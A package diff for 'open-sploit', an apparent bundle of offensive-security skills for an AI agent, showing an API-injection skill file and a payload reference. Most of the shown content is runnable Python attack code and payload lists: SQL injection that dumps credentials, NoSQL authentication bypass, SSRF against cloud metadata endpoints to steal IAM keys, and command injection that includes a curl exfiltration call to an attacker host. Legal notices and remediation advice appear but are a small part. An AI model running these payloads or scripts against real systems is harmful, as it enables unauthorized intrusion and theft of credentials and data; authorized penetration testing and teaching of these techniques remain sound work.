open-sploit 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (81) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +75 -0
  3. package/bin/install.mjs +158 -0
  4. package/package.json +27 -0
  5. package/template/agent/offsec.md +53 -0
  6. package/template/command/target.md +45 -0
  7. package/template/config/opencode.example.json +46 -0
  8. package/template/skills/api-security-testing/SKILL.md +61 -0
  9. package/template/skills/conducting-api-security-testing/LICENSE +201 -0
  10. package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
  11. package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
  12. package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
  13. package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
  14. package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
  15. package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
  16. package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
  17. package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
  18. package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
  19. package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
  20. package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
  21. package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
  22. package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
  23. package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
  24. package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
  25. package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
  26. package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
  27. package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
  28. package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
  29. package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
  30. package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
  31. package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
  32. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
  33. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
  34. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
  35. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
  36. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
  37. package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
  38. package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
  39. package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
  40. package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
  41. package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
  42. package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
  43. package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
  44. package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
  45. package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
  46. package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
  47. package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
  48. package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
  49. package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
  50. package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
  51. package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
  52. package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
  53. package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
  54. package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
  55. package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
  56. package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
  57. package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
  58. package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
  59. package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
  60. package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
  61. package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
  62. package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
  63. package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
  64. package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
  65. package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
  66. package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
  67. package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
  68. package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
  69. package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
  70. package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
  71. package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
  72. package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
  73. package/template/skills/hackerone/SKILL.md +137 -0
  74. package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
  75. package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
  76. package/template/skills/hackerone/tools/__init__.py +0 -0
  77. package/template/skills/hackerone/tools/csv_parser.py +185 -0
  78. package/template/skills/hackerone/tools/report_validator.py +285 -0
  79. package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
  80. package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
  81. package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
@@ -0,0 +1,481 @@
1
+ ---
2
+ name: exploiting-api-injection-vulnerabilities
3
+ description: 'Tests APIs for injection vulnerabilities including SQL injection, NoSQL
4
+ injection, OS command injection, LDAP injection, and Server-Side Request Forgery
5
+ (SSRF) through API parameters, headers, and request bodies. The tester crafts malicious
6
+ payloads targeting different backend technologies and injection contexts to extract
7
+ data, execute commands, or access internal services. Maps to OWASP API8:2023 Security
8
+ Misconfiguration and API7:2023 SSRF. Activates for requests involving API injection
9
+ testing, SQLi in APIs, NoSQL injection, SSRF testing, or API input validation assessment.
10
+
11
+ '
12
+ domain: cybersecurity
13
+ subdomain: api-security
14
+ tags:
15
+ - api-security
16
+ - owasp
17
+ - injection
18
+ - sqli
19
+ - nosql
20
+ - ssrf
21
+ - command-injection
22
+ version: 1.0.0
23
+ author: mahipal
24
+ license: Apache-2.0
25
+ nist_csf:
26
+ - PR.PS-01
27
+ - ID.RA-01
28
+ - PR.DS-10
29
+ - DE.CM-01
30
+ mitre_attack:
31
+ - T1190
32
+ - T1059.007
33
+ - T1552.001
34
+ - T1055
35
+ - T1059
36
+ ---
37
+ # Exploiting API Injection Vulnerabilities
38
+
39
+ ## When to Use
40
+
41
+ - Testing API endpoints that accept user input for database queries, system commands, or external requests
42
+ - Assessing APIs that interact with SQL databases, NoSQL stores (MongoDB, Redis), LDAP directories, or external URLs
43
+ - Evaluating input validation and parameterized query usage across all API endpoints
44
+ - Testing for SSRF where API parameters accept URLs or hostnames that trigger server-side requests
45
+ - Identifying injection points in headers, path parameters, query strings, and JSON/XML request bodies
46
+
47
+ **Do not use** without written authorization. Injection testing can modify or destroy data and compromise backend systems.
48
+
49
+ ## Prerequisites
50
+
51
+ - Written authorization specifying target API and backend systems in scope
52
+ - Python 3.10+ with `requests` library
53
+ - SQLMap for automated SQL injection detection and exploitation
54
+ - Burp Suite Professional with Active Scan capabilities
55
+ - Knowledge of the backend database technology (MySQL, PostgreSQL, MongoDB, Redis)
56
+ - Isolated test environment to avoid production data corruption
57
+
58
+
59
+ > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
60
+
61
+ ## Workflow
62
+
63
+ ### Step 1: Injection Point Identification
64
+
65
+ ```python
66
+ import requests
67
+ import json
68
+ import urllib.parse
69
+
70
+ BASE_URL = "https://target-api.example.com/api/v1"
71
+ headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}
72
+
73
+ # Map all input points across the API
74
+ injection_points = [
75
+ # Path parameters
76
+ {"type": "path", "method": "GET", "url": "/users/{input}"},
77
+ {"type": "path", "method": "GET", "url": "/products/{input}"},
78
+ {"type": "path", "method": "GET", "url": "/orders/{input}"},
79
+ # Query parameters
80
+ {"type": "query", "method": "GET", "url": "/users?search={input}"},
81
+ {"type": "query", "method": "GET", "url": "/products?sort={input}&order={input}"},
82
+ {"type": "query", "method": "GET", "url": "/products?category={input}"},
83
+ {"type": "query", "method": "GET", "url": "/search?q={input}"},
84
+ # JSON body parameters
85
+ {"type": "body", "method": "POST", "url": "/auth/login", "fields": ["username", "password"]},
86
+ {"type": "body", "method": "POST", "url": "/users", "fields": ["name", "email"]},
87
+ {"type": "body", "method": "POST", "url": "/search", "fields": ["query", "filters"]},
88
+ {"type": "body", "method": "POST", "url": "/webhook", "fields": ["url", "callback_url"]},
89
+ # Header parameters
90
+ {"type": "header", "method": "GET", "url": "/users/me", "headers": ["X-Forwarded-For", "Referer", "User-Agent"]},
91
+ ]
92
+ ```
93
+
94
+ ### Step 2: SQL Injection Testing
95
+
96
+ ```python
97
+ # SQL injection payloads for different contexts
98
+ SQL_PAYLOADS = {
99
+ "detection": [
100
+ "'",
101
+ "\"",
102
+ "' OR '1'='1",
103
+ "\" OR \"1\"=\"1",
104
+ "1 OR 1=1",
105
+ "' OR 1=1--",
106
+ "' UNION SELECT NULL--",
107
+ "1; WAITFOR DELAY '0:0:5'--",
108
+ "1' AND SLEEP(5)--",
109
+ "1)) OR 1=1--",
110
+ ],
111
+ "union_based": [
112
+ "' UNION SELECT NULL,NULL,NULL--",
113
+ "' UNION SELECT 1,2,3--",
114
+ "' UNION SELECT username,password,NULL FROM users--",
115
+ "-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
116
+ ],
117
+ "error_based": [
118
+ "' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--",
119
+ "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
120
+ ],
121
+ "time_based": [
122
+ "' AND SLEEP(5)--",
123
+ "'; WAITFOR DELAY '0:0:5'--",
124
+ "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
125
+ "1; SELECT pg_sleep(5)--",
126
+ ],
127
+ }
128
+
129
+ import time
130
+
131
+ def test_sql_injection(endpoint, param_name, param_type="query"):
132
+ """Test a parameter for SQL injection."""
133
+ results = []
134
+
135
+ for category, payloads in SQL_PAYLOADS.items():
136
+ for payload in payloads:
137
+ start = time.time()
138
+
139
+ if param_type == "query":
140
+ url = f"{BASE_URL}{endpoint}"
141
+ resp = requests.get(url, headers=headers,
142
+ params={param_name: payload}, timeout=15)
143
+ elif param_type == "body":
144
+ resp = requests.post(f"{BASE_URL}{endpoint}",
145
+ headers=headers,
146
+ json={param_name: payload}, timeout=15)
147
+ elif param_type == "path":
148
+ url = f"{BASE_URL}{endpoint.replace('{input}', urllib.parse.quote(payload))}"
149
+ resp = requests.get(url, headers=headers, timeout=15)
150
+
151
+ elapsed = time.time() - start
152
+
153
+ # Check for SQL injection indicators
154
+ indicators = {
155
+ "error": any(kw in resp.text.lower() for kw in [
156
+ "sql syntax", "mysql", "postgresql", "sqlite",
157
+ "oracle", "unterminated", "syntax error",
158
+ "unexpected end", "quoted string", "invalid input"
159
+ ]),
160
+ "time_based": elapsed > 4.5 and "SLEEP" in payload.upper(),
161
+ "union_data": resp.status_code == 200 and len(resp.text) > 0
162
+ and "UNION" in payload.upper()
163
+ and resp.text != requests.get(f"{BASE_URL}{endpoint}",
164
+ headers=headers, params={param_name: "test"}).text,
165
+ }
166
+
167
+ if any(indicators.values()):
168
+ triggered = [k for k, v in indicators.items() if v]
169
+ results.append({
170
+ "endpoint": endpoint,
171
+ "param": param_name,
172
+ "category": category,
173
+ "payload": payload,
174
+ "indicators": triggered,
175
+ "status": resp.status_code,
176
+ "time": f"{elapsed:.1f}s"
177
+ })
178
+ print(f"[SQLi] {endpoint} ({param_name}): {category} - {triggered}")
179
+
180
+ return results
181
+
182
+ # Test search parameter
183
+ test_sql_injection("/search", "q", "query")
184
+ test_sql_injection("/products", "category", "query")
185
+ test_sql_injection("/auth/login", "username", "body")
186
+ ```
187
+
188
+ ### Step 3: NoSQL Injection Testing
189
+
190
+ ```python
191
+ # NoSQL injection payloads (MongoDB-focused)
192
+ NOSQL_PAYLOADS = {
193
+ "auth_bypass": [
194
+ # MongoDB operator injection in JSON body
195
+ {"username": {"$ne": ""}, "password": {"$ne": ""}},
196
+ {"username": {"$gt": ""}, "password": {"$gt": ""}},
197
+ {"username": {"$regex": ".*"}, "password": {"$regex": ".*"}},
198
+ {"username": "admin", "password": {"$ne": "wrongpassword"}},
199
+ {"username": {"$in": ["admin", "root", "administrator"]}, "password": {"$ne": ""}},
200
+ ],
201
+ "data_extraction": [
202
+ {"username": {"$regex": "^a"}, "password": {"$ne": ""}}, # Enumerate first char
203
+ {"username": {"$where": "this.username.length > 0"}, "password": {"$ne": ""}},
204
+ ],
205
+ "operator_injection_string": [
206
+ # When input is a string field
207
+ '{"$gt": ""}',
208
+ '{"$ne": null}',
209
+ '{"$regex": ".*"}',
210
+ '{"$where": "1==1"}',
211
+ ],
212
+ }
213
+
214
+ def test_nosql_injection(endpoint, method="POST"):
215
+ """Test for MongoDB NoSQL injection."""
216
+ results = []
217
+
218
+ # Test JSON body operator injection
219
+ for category, payloads in NOSQL_PAYLOADS.items():
220
+ for payload in payloads:
221
+ if isinstance(payload, dict):
222
+ resp = requests.post(f"{BASE_URL}{endpoint}",
223
+ headers=headers, json=payload, timeout=10)
224
+ else:
225
+ # Test as string parameter
226
+ resp = requests.post(f"{BASE_URL}{endpoint}",
227
+ headers=headers,
228
+ json={"username": json.loads(payload), "password": "test"},
229
+ timeout=10)
230
+
231
+ if resp.status_code == 200:
232
+ resp_data = resp.json() if resp.text else {}
233
+ if "token" in str(resp_data) or "user" in str(resp_data):
234
+ results.append({
235
+ "endpoint": endpoint,
236
+ "category": category,
237
+ "payload": str(payload)[:100],
238
+ "authenticated": True,
239
+ "response": str(resp_data)[:200]
240
+ })
241
+ print(f"[NoSQLi] {endpoint}: {category} - Auth bypass successful")
242
+
243
+ return results
244
+
245
+ nosql_results = test_nosql_injection("/auth/login")
246
+ ```
247
+
248
+ ### Step 4: Server-Side Request Forgery (SSRF) Testing
249
+
250
+ ```python
251
+ # SSRF payloads targeting internal services
252
+ SSRF_PAYLOADS = {
253
+ "cloud_metadata": [
254
+ "http://169.254.169.254/latest/meta-data/", # AWS IMDS
255
+ "http://169.254.169.254/latest/meta-data/iam/security-credentials/", # AWS IAM creds
256
+ "http://metadata.google.internal/computeMetadata/v1/", # GCP
257
+ "http://169.254.169.254/metadata/instance?api-version=2021-02-01", # Azure
258
+ ],
259
+ "internal_services": [
260
+ "http://localhost:8080/",
261
+ "http://127.0.0.1:6379/", # Redis
262
+ "http://127.0.0.1:9200/", # Elasticsearch
263
+ "http://127.0.0.1:27017/", # MongoDB
264
+ "http://internal-api.local:8080/",
265
+ "http://10.0.0.1/admin/",
266
+ ],
267
+ "protocol_smuggling": [
268
+ "gopher://127.0.0.1:6379/_SET%20pwned%20true",
269
+ "file:///etc/passwd",
270
+ "dict://127.0.0.1:6379/INFO",
271
+ ],
272
+ "bypass_filters": [
273
+ "http://0x7f000001/", # Hex IP for 127.0.0.1
274
+ "http://2130706433/", # Decimal IP for 127.0.0.1
275
+ "http://0177.0.0.1/", # Octal
276
+ "http://127.0.0.1.nip.io/", # DNS rebinding
277
+ "http://[::1]/", # IPv6 localhost
278
+ "http://127.1/", # Shortened IP
279
+ "http://0/", # Zero
280
+ ],
281
+ }
282
+
283
+ def test_ssrf(endpoint, url_param, method="POST"):
284
+ """Test for SSRF in URL-accepting parameters."""
285
+ results = []
286
+
287
+ for category, payloads in SSRF_PAYLOADS.items():
288
+ for payload in payloads:
289
+ try:
290
+ if method == "POST":
291
+ resp = requests.post(f"{BASE_URL}{endpoint}",
292
+ headers=headers,
293
+ json={url_param: payload}, timeout=10)
294
+ else:
295
+ resp = requests.get(f"{BASE_URL}{endpoint}",
296
+ headers=headers,
297
+ params={url_param: payload}, timeout=10)
298
+
299
+ # Check for SSRF indicators
300
+ if resp.status_code == 200 and len(resp.text) > 50:
301
+ # Check for cloud metadata
302
+ if any(kw in resp.text for kw in ["ami-id", "instance-id",
303
+ "iam", "AccessKeyId",
304
+ "root:x:", "computeMetadata"]):
305
+ results.append({
306
+ "endpoint": endpoint,
307
+ "category": category,
308
+ "payload": payload,
309
+ "severity": "critical",
310
+ "data": resp.text[:300]
311
+ })
312
+ print(f"[SSRF-CRITICAL] {endpoint}: {category} - {payload}")
313
+ else:
314
+ results.append({
315
+ "endpoint": endpoint,
316
+ "category": category,
317
+ "payload": payload,
318
+ "severity": "high",
319
+ "data": resp.text[:100]
320
+ })
321
+ print(f"[SSRF] {endpoint}: {category} - {payload} -> {resp.status_code}")
322
+ except requests.exceptions.RequestException:
323
+ pass
324
+
325
+ return results
326
+
327
+ # Test endpoints that accept URLs
328
+ ssrf_results = test_ssrf("/webhook/test", "url")
329
+ ssrf_results.extend(test_ssrf("/import", "source_url"))
330
+ ssrf_results.extend(test_ssrf("/proxy", "target", "GET"))
331
+ ```
332
+
333
+ ### Step 5: OS Command Injection Testing
334
+
335
+ ```python
336
+ # Command injection payloads
337
+ CMD_PAYLOADS = {
338
+ "detection": [
339
+ "; sleep 5",
340
+ "| sleep 5",
341
+ "` sleep 5 `",
342
+ "$( sleep 5 )",
343
+ "\n sleep 5",
344
+ "& ping -c 5 127.0.0.1 &",
345
+ ],
346
+ "data_exfil": [
347
+ "; cat /etc/passwd",
348
+ "| id",
349
+ "`whoami`",
350
+ "$(uname -a)",
351
+ "; curl http://attacker-controlled-server.com/$(whoami)",
352
+ ],
353
+ "windows": [
354
+ "& ping -n 5 127.0.0.1 &",
355
+ "| dir",
356
+ "; type C:\\Windows\\System32\\drivers\\etc\\hosts",
357
+ "& timeout /t 5 &",
358
+ ],
359
+ }
360
+
361
+ def test_command_injection(endpoint, param_name, param_type="body"):
362
+ """Test for OS command injection."""
363
+ results = []
364
+
365
+ for category, payloads in CMD_PAYLOADS.items():
366
+ for payload in payloads:
367
+ start = time.time()
368
+ prefixed_payload = f"validvalue{payload}"
369
+
370
+ if param_type == "body":
371
+ resp = requests.post(f"{BASE_URL}{endpoint}",
372
+ headers=headers,
373
+ json={param_name: prefixed_payload}, timeout=15)
374
+ else:
375
+ resp = requests.get(f"{BASE_URL}{endpoint}",
376
+ headers=headers,
377
+ params={param_name: prefixed_payload}, timeout=15)
378
+
379
+ elapsed = time.time() - start
380
+
381
+ indicators = {
382
+ "time_based": elapsed > 4.5 and "sleep" in payload.lower(),
383
+ "output": any(kw in resp.text for kw in [
384
+ "root:", "uid=", "Linux", "Windows", "bin/bash",
385
+ "Directory of", "Volume Serial"
386
+ ]),
387
+ }
388
+
389
+ if any(indicators.values()):
390
+ results.append({
391
+ "endpoint": endpoint,
392
+ "param": param_name,
393
+ "category": category,
394
+ "payload": payload,
395
+ "indicators": [k for k, v in indicators.items() if v],
396
+ })
397
+ print(f"[CMDi] {endpoint} ({param_name}): {payload}")
398
+
399
+ return results
400
+
401
+ # Test file processing and system interaction endpoints
402
+ test_command_injection("/export", "filename")
403
+ test_command_injection("/convert", "input_file")
404
+ test_command_injection("/ping", "host", "query")
405
+ ```
406
+
407
+ ## Key Concepts
408
+
409
+ | Term | Definition |
410
+ |------|------------|
411
+ | **SQL Injection** | Inserting SQL code into API parameters that are concatenated into database queries, enabling data extraction or modification |
412
+ | **NoSQL Injection** | Injecting NoSQL operators ($ne, $gt, $regex) into MongoDB queries or manipulating Redis/Elasticsearch queries through API parameters |
413
+ | **SSRF** | Server-Side Request Forgery (OWASP API7:2023) - forcing the server to make HTTP requests to attacker-specified destinations including internal services |
414
+ | **Command Injection** | Injecting OS commands through API parameters that are passed to shell execution functions (exec, system, popen) |
415
+ | **Parameterized Queries** | Using prepared statements with bound parameters to prevent SQL injection by separating code from data |
416
+ | **Input Validation** | Server-side verification that user input conforms to expected format, type, length, and character set before processing |
417
+
418
+ ## Tools & Systems
419
+
420
+ - **SQLMap**: Automated SQL injection detection and exploitation tool supporting all major database types
421
+ - **Burp Suite Professional**: Active scanner with injection detection for SQL, NoSQL, SSRF, and command injection
422
+ - **NoSQLMap**: Automated NoSQL injection detection and exploitation tool focused on MongoDB
423
+ - **SSRFmap**: SSRF detection and exploitation framework with cloud metadata extraction modules
424
+ - **Commix**: Automated OS command injection detection and exploitation tool
425
+
426
+ ## Common Scenarios
427
+
428
+ ### Scenario: E-Commerce API Injection Assessment
429
+
430
+ **Context**: An e-commerce API uses PostgreSQL for the product catalog, MongoDB for user sessions, and accepts webhook URLs for order notifications. The API is built with Node.js/Express.
431
+
432
+ **Approach**:
433
+ 1. Test product search endpoint `GET /api/v1/products?search=test` with SQL payloads - discover error-based SQLi revealing PostgreSQL 14 backend
434
+ 2. Exploit union-based SQLi to extract all table names, then dump user credentials from the `users` table
435
+ 3. Test login endpoint with NoSQL operators - `{"username":{"$ne":""},"password":{"$ne":""}}` bypasses authentication
436
+ 4. Test webhook URL endpoint for SSRF - `POST /api/v1/webhooks {"url":"http://169.254.169.254/latest/meta-data/"}` returns AWS instance metadata
437
+ 5. Extract AWS IAM role credentials via SSRF, gaining access to S3 buckets containing customer data
438
+ 6. Test file export endpoint for command injection - `GET /api/v1/export?filename=report;cat /etc/passwd` returns passwd file contents
439
+
440
+ **Pitfalls**:
441
+ - Only testing SQL injection when the backend uses multiple data stores (SQL, NoSQL, Redis, Elasticsearch)
442
+ - Missing injection points in HTTP headers (User-Agent, Referer, X-Forwarded-For) that may be logged to SQL databases
443
+ - Not testing SSRF bypass techniques when the initial payload is blocked by URL validation
444
+ - Assuming JSON API bodies are safe from SQL injection (JSON values are still concatenated into queries)
445
+ - Not testing time-based injection when error messages are suppressed
446
+
447
+ ## Output Format
448
+
449
+ ```
450
+ ## Finding: SQL Injection in Product Search API Enables Full Database Access
451
+
452
+ **ID**: API-INJ-001
453
+ **Severity**: Critical (CVSS 9.8)
454
+ **OWASP API**: API8:2023 - Security Misconfiguration / Injection
455
+ **Affected Endpoints**:
456
+ - GET /api/v1/products?search= (SQL injection)
457
+ - POST /api/v1/auth/login (NoSQL injection)
458
+ - POST /api/v1/webhooks (SSRF)
459
+
460
+ **Description**:
461
+ The product search API concatenates user input directly into a PostgreSQL
462
+ query without parameterization. An attacker can extract all database
463
+ contents including user credentials, payment information, and admin
464
+ secrets. Additionally, the login endpoint is vulnerable to MongoDB
465
+ NoSQL operator injection, and the webhook endpoint allows SSRF to
466
+ internal services and cloud metadata.
467
+
468
+ **Impact**:
469
+ - Full database read/write access via SQL injection
470
+ - Authentication bypass via NoSQL operator injection
471
+ - AWS IAM credential theft via SSRF to instance metadata
472
+ - Potential remote code execution via SQL injection stacked queries
473
+
474
+ **Remediation**:
475
+ 1. Use parameterized queries for all database operations
476
+ 2. Validate and sanitize NoSQL operator characters in JSON input
477
+ 3. Implement URL allowlisting for webhook and callback URLs
478
+ 4. Block access to cloud metadata endpoints (169.254.169.254) from application servers
479
+ 5. Use an ORM with parameterized queries and disable raw query methods
480
+ 6. Implement WAF rules for common injection patterns as defense in depth
481
+ ```
@@ -0,0 +1,103 @@
1
+ # API Reference: API Injection Vulnerability Testing
2
+
3
+ ## OWASP API Security Top 10
4
+
5
+ | # | Risk | Description |
6
+ |---|------|-------------|
7
+ | API1 | Broken Object Level Auth | Accessing other users' data |
8
+ | API2 | Broken Authentication | Weak auth mechanisms |
9
+ | API3 | Broken Object Property Level Auth | Mass assignment |
10
+ | API8 | Security Misconfiguration | Injection via misconfig |
11
+ | API10 | Unsafe Consumption | Server-side injection |
12
+
13
+ ## SQL Injection Payloads
14
+
15
+ ### Error-Based
16
+ ```
17
+ ' OR '1'='1
18
+ ' UNION SELECT NULL,NULL--
19
+ ' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
20
+ ```
21
+
22
+ ### Time-Based Blind
23
+ ```
24
+ ' AND SLEEP(5)--
25
+ ' AND pg_sleep(5)--
26
+ '; WAITFOR DELAY '0:0:5'--
27
+ ```
28
+
29
+ ## NoSQL Injection Payloads
30
+
31
+ ### MongoDB Operator Injection
32
+ ```json
33
+ {"username": {"$ne": ""}, "password": {"$ne": ""}}
34
+ {"username": {"$gt": ""}}
35
+ {"username": {"$regex": "admin.*"}}
36
+ ```
37
+
38
+ ### Where Clause Injection
39
+ ```json
40
+ {"$where": "this.password == 'test'"}
41
+ ```
42
+
43
+ ## Command Injection Payloads
44
+
45
+ ### Unix
46
+ ```
47
+ ; id
48
+ | whoami
49
+ $(id)
50
+ `id`
51
+ ```
52
+
53
+ ### Blind Command Injection
54
+ ```
55
+ ; sleep 5
56
+ | ping -c 5 127.0.0.1
57
+ $(sleep 5)
58
+ ```
59
+
60
+ ## Python requests Library
61
+
62
+ ### GET with Parameters
63
+ ```python
64
+ import requests
65
+ resp = requests.get(url, params={"id": payload}, timeout=10, verify=False)
66
+ ```
67
+
68
+ ### POST with JSON Body
69
+ ```python
70
+ resp = requests.post(url, json={"field": payload}, timeout=10)
71
+ ```
72
+
73
+ ### Response Analysis
74
+ | Attribute | Usage |
75
+ |-----------|-------|
76
+ | `resp.status_code` | HTTP status |
77
+ | `resp.text` | Response body |
78
+ | `resp.elapsed.total_seconds()` | Response time |
79
+ | `len(resp.content)` | Response size |
80
+
81
+ ## Error Signatures
82
+
83
+ ### SQL Databases
84
+ | Database | Error Pattern |
85
+ |----------|---------------|
86
+ | MySQL | `You have an error in your SQL syntax` |
87
+ | PostgreSQL | `ERROR: syntax error at or near` |
88
+ | MSSQL | `Unclosed quotation mark` |
89
+ | Oracle | `ORA-01756` |
90
+ | SQLite | `SQLITE_ERROR` |
91
+
92
+ ## Burp Suite API
93
+
94
+ ### Initiate Scan
95
+ ```http
96
+ POST https://burp:1337/v0.1/scan
97
+ Content-Type: application/json
98
+
99
+ {
100
+ "urls": ["https://api.target.com/v1/users"],
101
+ "scan_configurations": [{"name": "Audit checks - SQL injection"}]
102
+ }
103
+ ```